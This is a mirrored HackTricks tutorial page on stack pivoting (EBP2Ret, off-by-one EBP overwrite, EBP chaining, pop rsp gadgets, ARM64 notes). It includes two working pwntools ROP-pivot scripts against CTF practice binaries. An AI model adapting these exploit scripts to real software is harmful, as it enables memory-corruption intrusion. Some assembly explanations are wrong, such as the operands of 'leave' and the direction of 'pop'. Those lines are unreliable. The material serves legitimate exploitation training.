mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
263 lines
12 KiB
Markdown
263 lines
12 KiB
Markdown
|
# Stack Pivoting - EBP2Ret - EBP chaining
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Basic Information
|
||
|
|
||
|
This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
|
||
|
|
||
|
As a reminder, **`leave`** basically means:
|
||
|
|
||
|
```
|
||
|
mov ebp, esp
|
||
|
pop ebp
|
||
|
ret
|
||
|
```
|
||
|
|
||
|
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||
|
|
||
|
### EBP2Ret
|
||
|
|
||
|
This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
|
||
|
|
||
|
If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
|
||
|
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
|
||
|
|
||
|
#### Exploit Construction
|
||
|
|
||
|
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
|
||
|
|
||
|
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
|
||
|
|
||
|
* A valid [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) address.
|
||
|
* The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
|
||
|
* The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
|
||
|
* Some [**ROP**](../rop-return-oriented-programing/) chain
|
||
|
|
||
|
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
|
||
|
|
||
|
#### Off-By-One Exploit
|
||
|
|
||
|
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
|
||
|
Usually it's modified the byte 0x00t o jump as far as possible.
|
||
|
|
||
|
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
|
||
|
|
||
|
### **EBP Chaining**
|
||
|
|
||
|
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
|
||
|
|
||
|
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
|
||
|
|
||
|
* **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
|
||
|
* **`system()`** -> Called by `ret`
|
||
|
* **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
|
||
|
* **`&("/bin/sh")`**-> Param fro `system`
|
||
|
|
||
|
Basically this way it's possible to chain several fake EBPs to control the flow of the program.
|
||
|
|
||
|
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
|
||
|
|
||
|
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
|
||
|
|
||
|
```python
|
||
|
from pwn import *
|
||
|
|
||
|
elf = context.binary = ELF('./vuln')
|
||
|
p = process()
|
||
|
|
||
|
p.recvuntil('to: ')
|
||
|
buffer = int(p.recvline(), 16)
|
||
|
log.success(f'Buffer: {hex(buffer)}')
|
||
|
|
||
|
LEAVE_RET = 0x40117c
|
||
|
POP_RDI = 0x40122b
|
||
|
POP_RSI_R15 = 0x401229
|
||
|
|
||
|
payload = flat(
|
||
|
0x0, # rbp (could be the address of anoter fake RBP)
|
||
|
POP_RDI,
|
||
|
0xdeadbeef,
|
||
|
POP_RSI_R15,
|
||
|
0xdeadc0de,
|
||
|
0x0,
|
||
|
elf.sym['winner']
|
||
|
)
|
||
|
|
||
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||
|
|
||
|
payload += flat(
|
||
|
buffer, # Load leak address in RBP
|
||
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||
|
)
|
||
|
|
||
|
pause()
|
||
|
p.sendline(payload)
|
||
|
print(p.recvline())
|
||
|
```
|
||
|
|
||
|
## EBP might not be used
|
||
|
|
||
|
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||
|
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||
|
|
||
|
* **Not optimized:**
|
||
|
|
||
|
```bash
|
||
|
push %ebp # save ebp
|
||
|
mov %esp,%ebp # set new ebp
|
||
|
sub $0x100,%esp # increase stack size
|
||
|
.
|
||
|
.
|
||
|
.
|
||
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||
|
ret # return
|
||
|
```
|
||
|
|
||
|
* **Optimized:**
|
||
|
|
||
|
```bash
|
||
|
push %ebx # save ebx
|
||
|
sub $0x100,%esp # increase stack size
|
||
|
.
|
||
|
.
|
||
|
.
|
||
|
add $0x10c,%esp # reduce stack size
|
||
|
pop %ebx # restore ebx
|
||
|
ret # return
|
||
|
```
|
||
|
|
||
|
## Other ways to control RSP
|
||
|
|
||
|
### **`pop rsp`** gadget
|
||
|
|
||
|
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
|
||
|
|
||
|
```python
|
||
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||
|
# This version has added comments
|
||
|
|
||
|
from pwn import *
|
||
|
|
||
|
elf = context.binary = ELF('./vuln')
|
||
|
p = process()
|
||
|
|
||
|
p.recvuntil('to: ')
|
||
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
||
|
log.success(f'Buffer: {hex(buffer)}')
|
||
|
|
||
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
||
|
POP_RDI = 0x40122b
|
||
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
||
|
|
||
|
# The payload starts
|
||
|
payload = flat(
|
||
|
0, # r13
|
||
|
0, # r14
|
||
|
0, # r15
|
||
|
POP_RDI,
|
||
|
0xdeadbeef,
|
||
|
POP_RSI_R15,
|
||
|
0xdeadc0de,
|
||
|
0x0, # r15
|
||
|
elf.sym['winner']
|
||
|
)
|
||
|
|
||
|
payload = payload.ljust(104, b'A') # pad to 104
|
||
|
|
||
|
# Start popping RSP, this moves the stack to the leaked address and
|
||
|
# continues the ROP chain in the prepared payload
|
||
|
payload += flat(
|
||
|
POP_CHAIN,
|
||
|
buffer # rsp
|
||
|
)
|
||
|
|
||
|
pause()
|
||
|
p.sendline(payload)
|
||
|
print(p.recvline())
|
||
|
```
|
||
|
|
||
|
### xchg \<reg>, rsp gadget
|
||
|
|
||
|
```
|
||
|
pop <reg> <=== return pointer
|
||
|
<reg value>
|
||
|
xchg <reg>, rsp
|
||
|
```
|
||
|
|
||
|
### jmp esp
|
||
|
|
||
|
Check the ret2esp technique here:
|
||
|
|
||
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
||
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## References & Other Examples
|
||
|
|
||
|
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||
|
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
||
|
* 64 bits, off by one exploitation with a rop chain starting with a ret sled
|
||
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
||
|
* 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
|
||
|
|
||
|
## ARM64
|
||
|
|
||
|
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
|
||
|
|
||
|
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
|
||
|
|
||
|
* prologue
|
||
|
|
||
|
```armasm
|
||
|
sub sp, sp, 16
|
||
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
||
|
mov x29, sp // FP points to frame record
|
||
|
```
|
||
|
* epilogue
|
||
|
|
||
|
```armasm
|
||
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
||
|
add sp, sp, 16
|
||
|
ret
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
|
||
|
{% endhint %}
|
||
|
|
||
|
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
|
||
|
|
||
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
||
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|